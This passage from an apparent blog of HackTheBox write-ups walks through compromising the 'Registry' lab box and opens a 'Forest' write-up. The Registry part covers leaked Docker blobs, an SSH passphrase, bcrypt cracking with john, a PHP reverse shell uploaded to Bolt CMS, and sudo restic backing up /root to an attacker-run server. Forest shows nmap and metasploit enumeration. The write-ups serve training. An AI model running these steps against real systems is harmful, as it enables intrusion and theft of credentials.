\\t\\t\\u0026\\u0026 echo 'Apt::AutoRemove::SuggestsImportant \\\"false\\\";' \\u003e /etc/apt/apt.conf.d/docker-autoremove-suggests\"]}}"
},
{
"v1Compatibility": "{\"id\":\"f4a833e38a779e09219325dfef9e5063c291a325cad7141bcdb4798ed68c675c\",\"created\":\"2019-04-26T22:21:02.724843678Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:7ce84f13f11609a50ece7823578159412e2299c812746d1d1f1ed5db0728bd37 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "Q25C:2A2S:CDXB:7IXF:ZKDR:DELT:QBCW:XKT5:OT7Z:GQBN:4PG4:UK6K",
"kty": "EC",
"x": "WSj-L3I1ssgS0RChWY0rTb1-N3dZjGpHfwKmvulklM0",
"y": "SUmHvK1PcIZzBkzk34Nn8mzXq2veOpDlECUqVsru3k8"
},
"alg": "ES256"
},
"signature": "W1F9OyNxfyFaljdYUFMnVbcwUIgaJ7wiwfe1JboyRBFsYZGmzWC0n0bkQbGXD7M9P2Bh-D3U0u0AG3zWxEndLg",
"protected": "eyJmb3JtYXRMZW5ndGgiOjY3OTIsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAxOS0xMi0wM1QxNDowODoyOFoifQ"
}
]
}
</code></pre></div>
<h3>Blobs</h3>
<p>We extract the list of blobs and redirect it to a file
<code>grep blob latest | cut -d '"' -f 4 > blob_list</code> then we download each blob
<code>while read l ; do wget --http-user=admin --http-password=admin
--no-check-certificate https://docker.registry.htb/v2/bolt-image/blobs/$l; done
< blob_list</code>.</p>
<p>The blob
<code>sha256:3f12770883a63c833eab7652242d55a95aea6e2ecd09e21c29d7d7b354f3d4ee</code> only
contain a file edited with Vim 8 (there is a vulnerability for this version). But
we do not have access to a Vim for the moment.</p>
<p>In the <code>sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b</code>
blob we found a <code>01-ssh.sh</code> file containing a password</p>
<div class="highlight"><pre><span></span><code>#!/usr/bin/expect -f
#eval `ssh-agent -s`
spawn ssh-add /root/.ssh/id_rsa
expect "Enter passphrase for /root/.ssh/id_rsa:"
send "GkOcz221Ftb3ugog\n";
expect "Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)"
interact
</code></pre></div>
<p>In the blob
<code>sha256:02666a14e1b55276ecb9812747cb1a95b78056f1d202b087d71096ca0b58c98c</code> we
found a <code>.bash_history</code> file not containing something interesting.</p>
<div class="highlight"><pre><span></span><code>cd /root/
ls -la
>.bash_history
ls -la
cat .bashrc
ls -la
l .ssh/
cat .viminfo
> .viminfo
ls -la
</code></pre></div>
<p>The blob
<code>sha256:8882c27f669ef315fc231f272965cd5ee8507c0f376855d6f9c012aae0224797</code>
contain a few files but nothing of interest.
The blob <code>` contain a</code>.bash_history` file.</p>
<div class="highlight"><pre><span></span><code>s aux
ps aux
apt update
apt install git
apt install php
php --ini |grep Loaded
l /etc/php/
l /etc/php/7.2/
apt install nginx
apt install php-fpm
cd /var/www/html/
ls -la
rm -rf index.html
mv index.nginx-debian.html index.html
l
git clone https://github.com/bolt/bolt.git
l
ls -la
cd bolt/
ls -la
useradd -m bolt
cd /home/
l
ls -la
userdel bolt
l
rm -rf bolt/
cd /root/
l
ls -la
mkdir .ssh
cd .ssh/
l
ls -la
vi config
edit config
apt install vim
vi config
ssh-keygen -t rsa -b 4096 -C "bolt@registry.htb"
l
ls -la
cd ..
ls -la
ssh-add /root/.ssh/id_rsa
eval `ssh-agent -s`
ssh-add /root/.ssh/id_rsa
ps aux | grep ssh
l /etc/profile.d/
l /etc/profile.d/01-locale-fix.sh
cat /etc/profile.d/01-locale-fix.sh
cat /etc/profile
l /etc/bash.bashrc
cat /etc/bash.bashrc
l
wd
pwd
ls -la
cat .profile
cat .bashrc
l
vi /etc/profile.d/01-ssh.sh
apt install expect
which expect
vi /etc/profile.d/01-ssh.sh
l /etc/profile.d/
ls -la /etc/profile.d/
sh /etc/profile.d/01-ssh.sh
which spawn
apt install spawn
chmod +x /etc/profile.d/01-ssh.sh
/etc/profile.d/01-ssh.sh
cat /etc/profile.d/01-ssh.sh
ps aux
vi /etc/profile.d/01-ssh.sh
/etc/profile.d/01-ssh.sh
vi /etc/profile.d/01-ssh.sh
/etc/profile.d/01-ssh.sh
ps aux
ssh registry
ping registry.htb
apt install ping
apt install iputils-ping
ping registry.htb
cat .ssh/id_rsa.pub
ssh registry
cd /etc/profile.d/
l
cp 01-ssh.sh 02-ssh.sh
vi 01-ssh.sh
ssh 01-ssh.sh
chmod +x 01-
chmod +x 01-ssh.sh
./01-ssh.sh
ps aux
kill 11162 11241 11365
ssh registry
cat /etc/profile
l
cd /root/
ls -la
cat .profile
vi .profile
ps aux
cat /etc/profile.d/01-ssh.sh
vi .profile
eval `ssh-agent -s`
vi .profile
ps aux
systemctl restart nginx.service
/etc/init.d/nginx start
/etc/init.d/php7.2-fpm start
ps aux
l
ls -la
cd /var/www/html/
l
vi sync.sh
chmod +x sync.sh
./sync.sh
apt install rsync
./sync.sh
l
/etc/profile.d/01-ssh.sh
/etc/profile.d/02-ssh.sh
./sync.sh
l
ls -la
rm -rf bolt/
./sync.sh
l
ls -la
cd bolt/
ls -la
cd ..
l
rm -rf bolt
l
ls -la
cat sync.sh
ps aux
kill 11412 11531
ps aux
cd /
ls -la
cd /home/
l
ls -la
exit
exit
</code></pre></div>
<p>The blob
<code>sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4</code>
doesn't seems to contain anything.</p>
<p>The blob
<code>sha256:d9af21273955749bb8250c7a883fcce21647b54f5a685d237bc6b920a2ebad1a</code>
contain some <code>apt</code> list.</p>
<p>The blob
<code>sha256:f476d66f540886e2bb4d9c8cc8c0f8915bca7d387e536957796ea6c2f8e7dfff</code>
contain a full file system. But no passwords in <code>/etc/shadow</code>.</p>
<p>The blob
<code>sha256:f5029279ec1223b70f2cbb2682ab360e1837a2ea59a8d7ff64b38e9eab5fb8c0</code> does
not contain anything interesting.</p>
<p>The blob
<code>sha256:2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791</code> is
quit big there is a full file system in it. In the <code>/root/.ssh/</code> folder we find
another SSH key and a SSH config file (the <code>/etc/shadow</code> doesn't contain any
password).</p>
<div class="highlight"><pre><span></span><code>Host registry
User bolt
Port 22
Hostname registry.htb
</code></pre></div>
<p>The SSH key let us connect as bolt on the box.</p>
<div class="highlight"><pre><span></span><code># ssh 10.10.10.159 -l bolt -i blobs/id_rsa
Enter passphrase for key 'blobs/id_rsa':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)
System information disabled due to load higher than 1.0
Last login: Tue Dec 3 13:48:57 2019 from 10.10.15.222
bolt@bolt:~$ ls
user.txt
bolt@bolt:~$ cat user.txt
ytc0ytdmnzywnzgxngi0zte0otm3ywzi
</code></pre></div>
<h1>Getting root</h1>
<h2>Enumeration</h2>
<p>We start our enumeration.</p>
<p>In <code>/var/www/html/</code> we found a PHP script used for backup. This script call the
<code>restic</code> binary with the <code>sudo</code> rights.
As this is a script the user running it probably don't need to input a
password. As this is in <code>/var/www/html/</code> this is probably run by the <code>www-data</code>
user.</p>
<div class="highlight"><pre><span></span><code>cat /var/www/html/backup.php
<?php shell_exec("sudo restic backup -r rest:http://backup.registry.htb/bolt bolt");
</code></code></pre></div>
<h2>Bolt archive</h2>
<p>We also found a backup archive on the system <code>/var/backup/blot.tgz</code>. We <code>scp</code> it on our
box and decompress it. This is a clone of https://github.com/bolt/bolt on the
branch <code>3.6</code>. We can check that the commit match with <code>tig</code> and the <a href="https://github.com/bolt/bolt/commit/a3bbe38afcc591e37ded6d0efe47bb197ae63687">github
repository</a></p>
<p><img alt="tig" class="image-process-article-image" src="/media/2020.04/derivatives/article-image/registry_2.png"/></p>
<p>A <code>git status</code> inform us that nothing was modify (from <code>git</code> point of view).</p>
<div class="highlight"><pre><span></span><code>git status
On branch 3.6
Your branch is up to date with 'origin/3.6'.
nothing to commit, working tree clean
</code></pre></div>
<p>So we look at the files listed in <code>.gitignore</code>.</p>
<h3>app/config</h3>
<p>The file <code>config.yml</code> tell us that there is sqlite database named bolt. The
other files does not contain useful information.</p>
<div class="highlight"><pre><span></span><code>head app/config/config.yml
# Database setup. The driver can be either 'sqlite', 'mysql' or 'postgres'.
#
# For SQLite, only the databasename is required. However, MySQL and PostgreSQL
# also require 'username', 'password', and optionally 'host' ( and 'port' ) if the database
# server is not on the same host as the web server.
#
# If you're trying out Bolt, just keep it set to SQLite for now.
database:
driver: sqlite
databasename: bolt
</code></pre></div>
<h3>app/database</h3>
<p>We can access the database using <code>sqlite3</code> (which is available by default on a
Kali install). We list the available tables and the data from the <code>bolt_users</code>
and <code>bolt_authtoken</code>. We got a password hash.</p>
<div class="highlight"><pre><span></span><code>sqlite3 app/database/bolt.db
SQLite version 3.30.1 2019-10-10 20:19:45
Enter ".help" for usage hints.
sqlite> .tables
bolt_authtoken bolt_field_value bolt_pages bolt_users
bolt_blocks bolt_homepage bolt_relations
bolt_cron bolt_log_change bolt_showcases
bolt_entries bolt_log_system bolt_taxonomy
sqlite> select * from bolt_users;
1|admi|$2y$10$hcuhBWxp7Ypk8Wx.LUpEguihXr60tiDeh46v3cSy7wvKnQSq/Kre2|thek27@gmail.com|2019-05-29 11:02:18|192.168.50.1|Admin|[]|1||||0||["root","everyone"]
sqlite> select * from bolt_authtoken;
1|1||5ce26d1b34ecf3405469c50ef01e044793c71db8da07e4705fc995a0bd964505|05fde348656e16b2589424fb7d175372|2019-05-29 11:02:18|192.168.50.1|Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36|2019-06-12 11:02:18
</code></pre></div>
<p>We can use <code>sqlite> .schema bolt_users</code> to show the columns name (for the
bolt_users table).</p>
<p>We try to brute force the password has using john. The hash algorithm is bcrypt and
the password doesn't seems to be on the rockyou top 10 000 (+ the three passwords found
earlier).</p>
<h3>Production DB</h3>
<p>We are working on the backup database. Let us just get the "production" one.
And dump the same table. The hash is different.</p>
<div class="highlight"><pre><span></span><code>scp bolt@10.10.10.159:/var/www/html/bolt/app/database/bolt.db ./
Enter passphrase for key '/root/.ssh/id_rsa':
bolt.db 100% 296KB 65.2KB/s 00:04
sqlite3 bolt.db
SQLite version 3.30.1 2019-10-10 20:19:45
Enter ".help" for usage hints.
sqlite> select * from bolt_users;
1|admin|$2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK|bolt@registry.htb|2019-12-04 12:58:05|10.10.16.58|Admin|["files://ls.php.png"]|1||||0||["root","everyone"]
2|test|$2y$10$8GeiNSHiL3pAlMyRvjY2seroSOYQnvRKmZxk/iadII3lKPYhsvh1S|a@a.a|2019-12-04 09:09:13|10.10.14.218|testingtege|["files://166912.jpg"]|1||||0||["editor","chief-editor","admin","developer","guest","root","everyone"]
</code></pre></div>
<p>This time john is more efficient and we found the password almost immediately.</p>
<div class="highlight"><pre><span></span><code>john hash -w=~/tools/password_lists/rockyou.txt
Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
Use the "--format=bcrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
strawberry (?)
1g 0:00:00:04 DONE (2019-12-04 16:38) 0.2439g/s 87.80p/s 87.80c/s 87.80C/s strawberry..brianna
Use the "--show" option to display all of the cracked passwords reliably
Session completed
</code></pre></div>
<h2>Bolt CMS</h2>
<p>We go to the <a href="https://bolt.cm/">bolt</a> login interface.</p>
<p><img alt="Bolt login interface" class="image-process-article-image" src="/media/2020.04/derivatives/article-image/registry_3.png"/></p>
<p>We connect as admin using the cracked password (<code>strawberry</code>).
There is a menu to upload some files. But the PHP files are not authorized.</p>
<p><img alt="Bolt dashboard" class="image-process-article-image" src="/media/2020.04/derivatives/article-image/registry_4.png"/></p>
<p><img alt="Upload files interface" class="image-process-article-image" src="/media/2020.04/derivatives/article-image/registry_8.png"/></p>
<p>As we are admin we can change this configuration in the "configuration/main
configuration" menu.</p>
<p><img alt="Configuration menu" class="image-process-article-image" src="/media/2020.04/derivatives/article-image/registry_5.png"/></p>
<p>We just add the PHP files in the authorized extension and save the
configuration.</p>
<p><img alt="Configuration menu, adding PHP" class="image-process-article-image" src="/media/2020.04/derivatives/article-image/registry_7.png"/></p>
<p>We can then upload our PHP reverse shell (from
<code>/usr/share/webshells/php/php-reverse-shell.php</code>). Pointing to our local
<code>netcat</code> running as bolt.</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="o"><</span><span class="nx">SNIP</span><span class="o">></span>
<span class="nb">set_time_limit</span> <span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="nv">$VERSION</span> <span class="o">=</span> <span class="s2">"1.0"</span><span class="p">;</span>
<span class="nv">$ip</span> <span class="o">=</span> <span class="s1">'127.0.0.1'</span><span class="p">;</span> <span class="c1">// CHANGE THIS</span>
<span class="nv">$port</span> <span class="o">=</span> <span class="mi">4343</span><span class="p">;</span> <span class="c1">// CHANGE THIS</span>
<span class="nv">$chunk_size</span> <span class="o">=</span> <span class="mi">1400</span><span class="p">;</span>
<span class="o"><</span><span class="nx">SNIP</span><span class="o">></span>
</span></code></pre></div>
<p><img alt="Reverse shell uploaded" class="image-process-article-image" src="/media/2020.04/derivatives/article-image/registry_9.png"/></p>
<div class="highlight"><pre><span></span><code>bolt@bolt:~$ nc -l -p 4343
Linux bolt 4.15.0-65-generic #74-Ubuntu SMP Tue Sep 17 17:06:04 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
14:06:37 up 2:50, 2 users, load average: 0.14, 0.08, 0.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
bolt pts/2 10.10.15.63 11:35 2:21 0.01s 0.00s nc -l -p 4343
bolt pts/3 10.10.15.1 13:31 53.00s 0.03s 0.03s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
</code></pre></div>
<p><strong>Note: all the above operation must be done "quickly" as the bolt's
configuration and the uploaded files are reset every few minutes.</strong> Once you get
the reverse shell the reset won't impact you anymore.</p>
<h2>www-data</h2>
<p>Now that we are <code>www-data</code> we can check our previous assumptions regarding its
<code>sudo</code> rights.</p>
<p>:::text
$ sudo -l
Matching Defaults entries for www-data on bolt:
env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin</p>
<p>User www-data may run the following commands on bolt:
(root) NOPASSWD: /usr/bin/restic backup -r rest*</p>
<p>We read carefully the <code>restic</code> <a href="https://restic.readthedocs.io">documentation</a>.
The most interesting pages are:
* <a href="https://restic.readthedocs.io/en/stable/040_backup.html">How to backup data</a>
* <a href="https://restic.readthedocs.io/en/stable/030_preparing_a_new_repo.html">How to create a new repository</a>
* <a href="https://restic.readthedocs.io/en/stable/030_preparing_a_new_repo.html#rest-server">And more specificaly how to run a REST repository</a>
* <a href="https://github.com/restic/rest-server">The github repository of the REST server</a>
* <a href="https://restic.readthedocs.io/en/stable/050_restore.html">How to restore a backup</a></p>
<p>From there we upload a complied GO binary of rest-server from the
<a href="https://github.com/restic/rest-server/releases">github project</a>
to the box using the bolt SSH account.</p>
<p>We create a directory in <code>/tmp/</code>, upload our binary and create another
directory for our backups.</p>
<div class="highlight"><pre><span></span><code>bolt@bolt:/tmp$ mkdir ioio2
bolt@bolt:/tmp$ cd ioio2
bolt@bolt:/tmp/ioio2$ ls
rest-server-0.9.7-linux-amd64
bolt@bolt:/tmp/ioio2$ chmod +x rest-server-0.9.7-linux-amd64
bolt@bolt:/tmp/ioio2$ mkdir srv
</code></pre></div>
<p>We imitate the <code>restic</code> repository in our folder.</p>
<div class="highlight"><pre><span></span><code>bolt@bolt:/tmp/ioio2$ restic init --repo ./srv/
enter password for new repository:
enter password again:
created restic repository b421a8c9a1 at ./srv/
Please note that knowledge of your password is required to access
the repository. Losing your password means that your data is
irrecoverably lost.
</code></pre></div>
<p>We run the server with the debug option.</p>
<div class="highlight"><pre><span></span><code>bolt@bolt:/tmp/ioio2$ ./rest-server-0.9.7-linux-amd64 --path /tmp/ioio2/srv/ --debug
rest-server 0.9.7 compiled with go1.10 on linux/amd64
Data directory: /tmp/ioio2/srv/
Authentication disabled
Private repositories disabled
Starting server on :8000
</code></pre></div>
<p>With our <code>www-data</code> webshell we put the repository password in a file and
backup the whole <code>/root/</code> directory.</p>
<div class="highlight"><pre><span></span><code>$ echo lol > /tmp/l
$ sudo /usr/bin/restic backup -r rest:http://127.0.0.1:8000/ -p /tmp/l /root/
scan [/root]
[0:00] 10 directories, 14 files, 28.066 KiB
scanned 10 directories, 14 files in 0:00
[0:00] 100.00% 28.066 KiB / 28.066 KiB 24 / 24 items 0 errors ETA 0:00
duration: 0:00
snapshot 485d9809 saved
</code></pre></div>
<p>Back to our bolt SSH shell we can check the snapshots in our
repository (yes I did some test with the bolt user. That's how I discover that I
was prompted for password).</p>
<div class="highlight"><pre><span></span><code>bolt@bolt:/tmp/ioio2$ restic -r ./srv/ snapshots
enter password for repository:
password is correct
ID Date Host Tags Directory
----------------------------------------------------------------------
91587cbd 2019-12-05 15:20:31 bolt /home/bolt
bf190199 2019-12-05 15:21:59 bolt /home/bolt
c7702698 2019-12-05 15:23:55 bolt /home/bolt
485d9809 2019-12-05 15:25:06 bolt /root
----------------------------------------------------------------------
4 snapshots
</code></pre></div>
<p>We restore the last snapshot in a new directory. It generate some errors that we
don't really care about.</p>
<div class="highlight"><pre><span></span><code>bolt@bolt:/tmp/ioio2$ mkdir rest
bolt@bolt:/tmp/ioio2$ restic -r ./srv/ restore 485d9809 --target ./rest
enter password for repository:
password is correct
restoring <snapshot +0000="" 15:25:06.665521427="" 2019-12-05="" 485d9809="" [="" at="" by="" of="" root@bolt="" root]="" utc=""> to ./rest
ignoring error for /root/.bash_history: Lchown: lchown /tmp/ioio2/rest/root/.bash_history: operation not permitted
ignoring error for /root/.bashrc: Lchown: lchown /tmp/ioio2/rest/root/.bashrc: operation not permitted
ignoring error for /root/.cache/motd.legal-displayed: Lchown: lchown /tmp/ioio2/rest/root/.cache/motd.legal-displayed: operation not permitted
ignoring error for /root/.cache: Lchown: lchown /tmp/ioio2/rest/root/.cache: operation not permitted
ignoring error for /root/.config/composer/keys.dev.pub: Lchown: lchown /tmp/ioio2/rest/root/.config/composer/keys.dev.pub: operation not permitted
ignoring error for /root/.config/composer/keys.tags.pub: Lchown: lchown /tmp/ioio2/rest/root/.config/composer/keys.tags.pub: operation not permitted
ignoring error for /root/.config/composer: Lchown: lchown /tmp/ioio2/rest/root/.config/composer: operation not permitted
ignoring error for /root/.config: Lchown: lchown /tmp/ioio2/rest/root/.config: operation not permitted
ignoring error for /root/.gnupg/private-keys-v1.d: Lchown: lchown /tmp/ioio2/rest/root/.gnupg/private-keys-v1.d: operation not permitted
ignoring error for /root/.gnupg: Lchown: lchown /tmp/ioio2/rest/root/.gnupg: operation not permitted
ignoring error for /root/.local/share/nano: Lchown: lchown /tmp/ioio2/rest/root/.local/share/nano: operation not permitted
ignoring error for /root/.local/share: Lchown: lchown /tmp/ioio2/rest/root/.local/share: operation not permitted
ignoring error for /root/.local: Lchown: lchown /tmp/ioio2/rest/root/.local: operation not permitted
ignoring error for /root/.profile: Lchown: lchown /tmp/ioio2/rest/root/.profile: operation not permitted
ignoring error for /root/.selected_editor: Lchown: lchown /tmp/ioio2/rest/root/.selected_editor: operation not permitted
ignoring error for /root/.ssh/authorized_keys: Lchown: lchown /tmp/ioio2/rest/root/.ssh/authorized_keys: operation not permitted
ignoring error for /root/.ssh/id_rsa: Lchown: lchown /tmp/ioio2/rest/root/.ssh/id_rsa: operation not permitted
ignoring error for /root/.ssh/id_rsa.pub: Lchown: lchown /tmp/ioio2/rest/root/.ssh/id_rsa.pub: operation not permitted
ignoring error for /root/.ssh: Lchown: lchown /tmp/ioio2/rest/root/.ssh: operation not permitted
ignoring error for /root/.wget-hsts: Lchown: lchown /tmp/ioio2/rest/root/.wget-hsts: operation not permitted
ignoring error for /root/config.yml: Lchown: lchown /tmp/ioio2/rest/root/config.yml: operation not permitted
ignoring error for /root/cron.sh: Lchown: lchown /tmp/ioio2/rest/root/cron.sh: operation not permitted
ignoring error for /root/root.txt: Lchown: lchown /tmp/ioio2/rest/root/root.txt: operation not permitted
ignoring error for /root: Lchown: lchown /tmp/ioio2/rest/root: operation not permitted
There were 24 errors
</snapshot></code></pre></div>
<p>In the root directory backup we found the flag as planned.</p>
<div class="highlight"><pre><span></span><code>bolt@bolt:/tmp/ioio2$ ls rest
root
bolt@bolt:/tmp/ioio2$ ls rest/root/root.txt
rest/root/root.txt
bolt@bolt:/tmp/ioio2$ cat rest/root/root.txt
ntrkzgnkotaxyju0ntrinda4yzbkztgw
</code></pre></div>
<p>But we also found a SSH private key without password that allow us to connect as
root on the box!</p>
<div class="highlight"><pre><span></span><code>bolt@bolt:/tmp/ioio2$ ls rest/root/.
./ ../ .bash_history .bashrc .cache/ .config/ .gnupg/ .local/ .profile .selected_editor .ssh/ .wget-hsts
bolt@bolt:/tmp/ioio2$ ls rest/root/.ssh/
authorized_keys id_rsa id_rsa.pub
bolt@bolt:/tmp/ioio2$ ls rest/root/.ssh/
authorized_keys id_rsa id_rsa.pub
</code></pre></div>
<p>Once copied on our local machine.</p>
<div class="highlight"><pre><span></span><code>ssh root@10.10.10.159 -i ./id_rsa_root
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)
System information as of Thu Dec 5 18:51:02 UTC 2019
System load: 0.08 Users logged in: 1
Usage of /: 5.6% of 61.80GB IP address for eth0: 10.10.10.159
Memory usage: 42% IP address for br-1bad9bd75d17: 172.18.0.1
Swap usage: 0% IP address for docker0: 172.17.0.1
Processes: 170
Last login: Mon Oct 21 09:53:48 2019
root@bolt:~#
</code></pre></div>
<h1>Wrapping up</h1>
<p>What a journey! This box was very interesting I learn a lot about Docker
registry in the user part. The root part was quit harder but also interesting.
The backup database was quit a rabbit hole for me. But once connected as admin
on the bolt CMS things get chained up pretty quick.
Many thanks to <a href="https://www.hackthebox.com/home/users/profile/4615">thek</a> for
this awesome box!</p>HTB: Forest2020-03-21T17:10:00+01:002020-03-21T17:10:00+01:00maggicktag:maggick.fr,2020-03-21:/2020/03/htb-forest.html<p><img alt="Forest card" class="align-left" src="/media/2020.03/forest_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/212">Forest</a> published by
<a href="https://www.hackthebox.com/home/users/profile/1190">egre55</a> and
<a href="https://www.hackthebox.com/home/users/profile/2984">mrb3n</a> on October the 12th
2019.
This box is a Windows machine classified as easy.
The server is a Domain Controller with 24 open ports.
We will use Winrm, bloodhound and impacket to get both the user flag and the
"root" flag.</p>
<p><img alt="Forest card" class="align-left" src="/media/2020.03/forest_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/212">Forest</a> published by
<a href="https://www.hackthebox.com/home/users/profile/1190">egre55</a> and
<a href="https://www.hackthebox.com/home/users/profile/2984">mrb3n</a> on October the 12th
2019.
This box is a Windows machine classified as easy.
The server is a Domain Controller with 24 open ports.
We will use Winrm, bloodhound and impacket to get both the user flag and the
"root" flag.</p>
<h1>Recon</h1>
<p>We start with an nmap scan. 24 ports are open. Using the service detection with
gather several informations about the box:</p>
<ul>
<li>The server is a MS Windows Server 2008 R2</li>
<li>The server is in the htb.local domain</li>
<li>The server is in the HTB workgroup</li>
</ul>
<p>Here is the nmap scan:</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Thu Oct 24 09:17:28 2019 as: nmap -p- -sSV -oA nmap_ssv 10.10.10.161
Nmap scan report for 10.10.10.161
Host is up (0.094s latency).
Not shown: 65511 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain?
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2019-10-24 07:29:09Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49684/tcp open msrpc Microsoft Windows RPC
49706/tcp open msrpc Microsoft Windows RPC
49915/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=10/24%Time=5DB150FF%P=x86_64-pc-linux-gnu%r(DNS
SF:VersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version
SF:\x04bind\0\0\x10\0\x03");
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Oct 24 09:23:52 2019 -- 1 IP address (1 host up) scanned in 384.59 seconds
</code></pre></div>
<p>We use <code>getArch.py</code> from <a href="https://github.com/SecureAuthCorp/impacket">impacket</a>
to determine the machine Architecture, the machine is 64-bits.</p>
<div class="highlight"><pre><span></span><code>python getArch.py -target 10.10.10.161
Impacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies
[*] Gathering OS architecture for 1 machines
[*] Socket connect timeout set to 2 secs
10.10.10.161 is 64-bi
</code></pre></div>
<p>We check the open ports using <a href="https://sushant747.gitbooks.io/total-oscp-guide/list_of_common_ports.html">a useful website</a></p>
<h2>Port 88: Kerberos</h2>
<p>We need an account to exploit this port.</p>
<blockquote>
<p>Kerberos is a protocol that is used for network authentication. Different versions are used by Unix and Windows. But if you see a machine with port 88 open you can be fairly certain that it is a Windows Domain Controller.</p>
<p>If you already have a login to a user of that domain you might be able to escalate that privilege.</p>
<p>Check out: MS14-068</p>
</blockquote>
<h2>Port M135: MSRPC</h2>
<p>We enumerate using <code>nmap</code> and metasploit without success.</p>
<blockquote>
<p>This is the windows rpc-port. <a href="https://en.wikipedia.org/wiki/Microsoft_RPC">https://en.wikipedia.org/wiki/Microsoft_RPC</a>
Enumerate
nmap 192.168.0.101 --script=msrpc-enum</p>
<p>msf > use exploit/windows/dcerpc/ms03_026_dcom</p>
</blockquote>
<h2>Port 139: SMB</h2>
<blockquote>
<p>Samba is a service that enables the user to share files with other machines. It has interoperatibility, which means that it can share stuff between linux and windows systems. A windows user will just see an icon for a folder that contains some files. Even though the folder and files really exists on a linux-server.</p>
</blockquote>
<h2>Ports 389 and 636: LDAP</h2>
<blockquote>
<p>Lightweight Directory Access Protocol. This port is usually used for Directories. Directory her means more like a telephone-directory rather than a folder. Ldap directory can be understood a bit like the windows registry. A database-tree. Ldap is sometimes used to store usersinformation. Ldap is used more often in corporate structure. Webapplications can use ldap for authentication. If that is the case it is possible to perform ldap-injections which are similar to sqlinjections.</p>
<p>You can sometimes access the ldap using a anonymous login, or with other words no session. This can be useful becasue you might find some valuable data, about users.</p>
<p>ldapsearch -h 192.168.1.101 -p 389 -x -b "dc=mywebsite,dc=com"</p>
</blockquote>
<h2>Ports 445, 464, 593, 3269, 49664, 49665, 49666, 49667, 49669, 49676, 49677, 49684, 49706, 49915</h2>
<p>Not included in the gitbook</p>
<h2>Port 5985: WinRM</h2>
<p>Not included in the gitbook but a "well known" protocol.</p>
<blockquote>
<p>WinRM, or Windows Remote Management, is an HTTP based remote management and shell protocol for Windows. The Windows Remote Management Service is responsible for this functionality. If WinRM is not configured for remote access, but the service is started, it listens for local requests on TCP port 47001. If you create listener it will still listen on 47001, but also on the default TCP ports 5985 (HTTP) and 5986 (HTTPS).</p>
</blockquote>
<h2>Port 3268: globalcatLdap</h2>
<p>No description</p>
<h2>Port 9389</h2>
<blockquote>
<p>Active Directory Administrative Center is installed by default on Windows Server 2008 R2 and is available on Windows 7 when you install the Remote Server Administration Tools (RSAT).</p>
</blockquote>
<h2>Port 47001: Windows Remote Management Service</h2>
<p>No more information.</p>
<h1>Getting user</h1>
<h2>enumerating user with SMB</h2>
<p>The SMB port is open, we can enumerate local users. Moreover, as the server is a Domain
Controller, every "local" user is a domain user.</p>
<div class="highlight"><pre><span></span><code>msf5 > use auxiliary/scanner/smb/smb_enumusers
